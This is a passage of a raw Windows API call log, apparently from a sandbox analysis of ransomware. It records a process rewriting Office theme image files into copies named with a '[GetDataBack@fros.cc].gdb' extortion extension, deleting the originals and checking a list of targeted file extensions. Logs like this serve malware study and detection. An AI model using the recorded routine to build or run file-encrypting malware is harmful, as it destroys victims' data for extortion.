hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.797] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0127.798] GetLastError () returned 0x0 [0127.798] ReadFile (in: hFile=0x220, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x7ce7, lpOverlapped=0x0) returned 1 [0127.800] WriteFile (in: hFile=0x1ac, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x7cf0, lpOverlapped=0x0) returned 1 [0127.802] ReadFile (in: hFile=0x220, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0127.802] WriteFile (in: hFile=0x1ac, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0127.802] SetEndOfFile (hFile=0x1ac) returned 1 [0127.802] CloseHandle (hObject=0x1ac) returned 1 [0127.802] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.802] SetEndOfFile (hFile=0x220) returned 1 [0127.803] CloseHandle (hObject=0x220) returned 1 [0127.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.804] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0127.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.804] lstrlenW (lpString=".doc") returned 4 [0127.804] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.804] lstrlenW (lpString=".docx") returned 5 [0127.804] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.804] lstrlenW (lpString=".pdf") returned 4 [0127.804] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.805] lstrlenW (lpString=".xls") returned 4 [0127.805] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.805] lstrlenW (lpString=".xlsx") returned 5 [0127.805] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.805] lstrlenW (lpString=".ppt") returned 4 [0127.805] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.805] lstrlenW (lpString=".zip") returned 4 [0127.805] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.805] lstrlenW (lpString=".rar") returned 4 [0127.805] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.805] lstrlenW (lpString=".bz2") returned 4 [0127.805] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.805] lstrlenW (lpString=".7z") returned 3 [0127.805] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.805] lstrlenW (lpString=".dbf") returned 4 [0127.805] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.805] lstrlenW (lpString=".1cd") returned 4 [0127.805] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.805] lstrlenW (lpString=".jpg") returned 4 [0127.805] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.805] lstrlenW (lpString=".doc") returned 4 [0127.805] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.805] lstrlenW (lpString=".docx") returned 5 [0127.805] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.805] lstrlenW (lpString=".pdf") returned 4 [0127.806] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.806] lstrlenW (lpString=".xls") returned 4 [0127.806] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.806] lstrlenW (lpString=".xlsx") returned 5 [0127.806] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.806] lstrlenW (lpString=".ppt") returned 4 [0127.806] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.806] lstrlenW (lpString=".zip") returned 4 [0127.806] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.806] lstrlenW (lpString=".rar") returned 4 [0127.806] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.806] lstrlenW (lpString=".bz2") returned 4 [0127.806] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.806] lstrlenW (lpString=".7z") returned 3 [0127.806] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.806] lstrlenW (lpString=".dbf") returned 4 [0127.806] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.806] lstrlenW (lpString=".1cd") returned 4 [0127.806] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0127.806] lstrlenW (lpString=".jpg") returned 4 [0127.806] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.806] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0127.806] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0127.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.807] GetFileSizeEx (in: hFile=0x220, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=3611) returned 1 [0127.807] CloseHandle (hObject=0x220) returned 1 [0127.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0127.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.807] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.807] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0127.809] GetLastError () returned 0x0 [0127.809] ReadFile (in: hFile=0x220, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xe1b, lpOverlapped=0x0) returned 1 [0127.811] WriteFile (in: hFile=0x1ac, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe20, lpOverlapped=0x0) returned 1 [0127.813] ReadFile (in: hFile=0x220, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0127.814] WriteFile (in: hFile=0x1ac, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0127.814] SetEndOfFile (hFile=0x1ac) returned 1 [0127.814] CloseHandle (hObject=0x1ac) returned 1 [0127.814] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0127.814] SetEndOfFile (hFile=0x220) returned 1 [0127.815] CloseHandle (hObject=0x220) returned 1 [0127.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.815] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0127.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0127.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0127.816] lstrlenW (lpString=".doc") returned 4 [0127.816] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.078] lstrlenW (lpString=".docx") returned 5 [0128.078] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.078] lstrlenW (lpString=".pdf") returned 4 [0128.078] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.078] lstrlenW (lpString=".xls") returned 4 [0128.078] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.078] lstrlenW (lpString=".xlsx") returned 5 [0128.078] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.078] lstrlenW (lpString=".ppt") returned 4 [0128.078] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.078] lstrlenW (lpString=".zip") returned 4 [0128.078] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.078] lstrlenW (lpString=".rar") returned 4 [0128.078] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.078] lstrlenW (lpString=".bz2") returned 4 [0128.078] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.078] lstrlenW (lpString=".7z") returned 3 [0128.078] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.078] lstrlenW (lpString=".dbf") returned 4 [0128.078] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.078] lstrlenW (lpString=".1cd") returned 4 [0128.078] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.078] lstrlenW (lpString=".jpg") returned 4 [0128.078] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.079] lstrlenW (lpString=".doc") returned 4 [0128.079] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.079] lstrlenW (lpString=".docx") returned 5 [0128.079] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.079] lstrlenW (lpString=".pdf") returned 4 [0128.079] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.079] lstrlenW (lpString=".xls") returned 4 [0128.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.079] lstrlenW (lpString=".xlsx") returned 5 [0128.079] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.079] lstrlenW (lpString=".ppt") returned 4 [0128.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.079] lstrlenW (lpString=".zip") returned 4 [0128.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.079] lstrlenW (lpString=".rar") returned 4 [0128.079] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.079] lstrlenW (lpString=".bz2") returned 4 [0128.079] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.079] lstrlenW (lpString=".7z") returned 3 [0128.079] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.079] lstrlenW (lpString=".dbf") returned 4 [0128.079] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.079] lstrlenW (lpString=".1cd") returned 4 [0128.079] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0128.079] lstrlenW (lpString=".jpg") returned 4 [0128.079] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.080] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0128.080] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0128.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0128.363] GetFileSizeEx (in: hFile=0x210, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=21812) returned 1 [0128.363] CloseHandle (hObject=0x210) returned 1 [0128.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0128.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0128.363] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.363] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0128.364] GetLastError () returned 0x0 [0128.364] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x5534, lpOverlapped=0x0) returned 1 [0128.433] WriteFile (in: hFile=0x220, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x5540, lpOverlapped=0x0) returned 1 [0128.435] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0128.435] WriteFile (in: hFile=0x220, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0128.435] SetEndOfFile (hFile=0x220) returned 1 [0128.435] CloseHandle (hObject=0x220) returned 1 [0128.435] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.435] SetEndOfFile (hFile=0x210) returned 1 [0128.436] CloseHandle (hObject=0x210) returned 1 [0128.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.437] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0128.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.437] lstrlenW (lpString=".doc") returned 4 [0128.437] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.437] lstrlenW (lpString=".docx") returned 5 [0128.437] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.437] lstrlenW (lpString=".pdf") returned 4 [0128.437] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.437] lstrlenW (lpString=".xls") returned 4 [0128.437] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.437] lstrlenW (lpString=".xlsx") returned 5 [0128.437] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.437] lstrlenW (lpString=".ppt") returned 4 [0128.437] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.437] lstrlenW (lpString=".zip") returned 4 [0128.437] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.437] lstrlenW (lpString=".rar") returned 4 [0128.437] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.437] lstrlenW (lpString=".bz2") returned 4 [0128.437] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.437] lstrlenW (lpString=".7z") returned 3 [0128.438] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.438] lstrlenW (lpString=".dbf") returned 4 [0128.438] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.438] lstrlenW (lpString=".1cd") returned 4 [0128.438] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.438] lstrlenW (lpString=".jpg") returned 4 [0128.438] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.438] lstrlenW (lpString=".doc") returned 4 [0128.438] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.438] lstrlenW (lpString=".docx") returned 5 [0128.438] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.438] lstrlenW (lpString=".pdf") returned 4 [0128.438] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.438] lstrlenW (lpString=".xls") returned 4 [0128.438] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.438] lstrlenW (lpString=".xlsx") returned 5 [0128.438] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.438] lstrlenW (lpString=".ppt") returned 4 [0128.438] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.438] lstrlenW (lpString=".zip") returned 4 [0128.438] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.438] lstrlenW (lpString=".rar") returned 4 [0128.438] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.438] lstrlenW (lpString=".bz2") returned 4 [0128.438] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.438] lstrlenW (lpString=".7z") returned 3 [0128.439] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.439] lstrlenW (lpString=".dbf") returned 4 [0128.439] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.439] lstrlenW (lpString=".1cd") returned 4 [0128.439] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0128.439] lstrlenW (lpString=".jpg") returned 4 [0128.439] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.439] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0128.439] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0128.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.814] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=19525) returned 1 [0128.814] CloseHandle (hObject=0x1fc) returned 1 [0128.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0128.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.815] SetFilePointerEx (in: hFile=0x1fc, 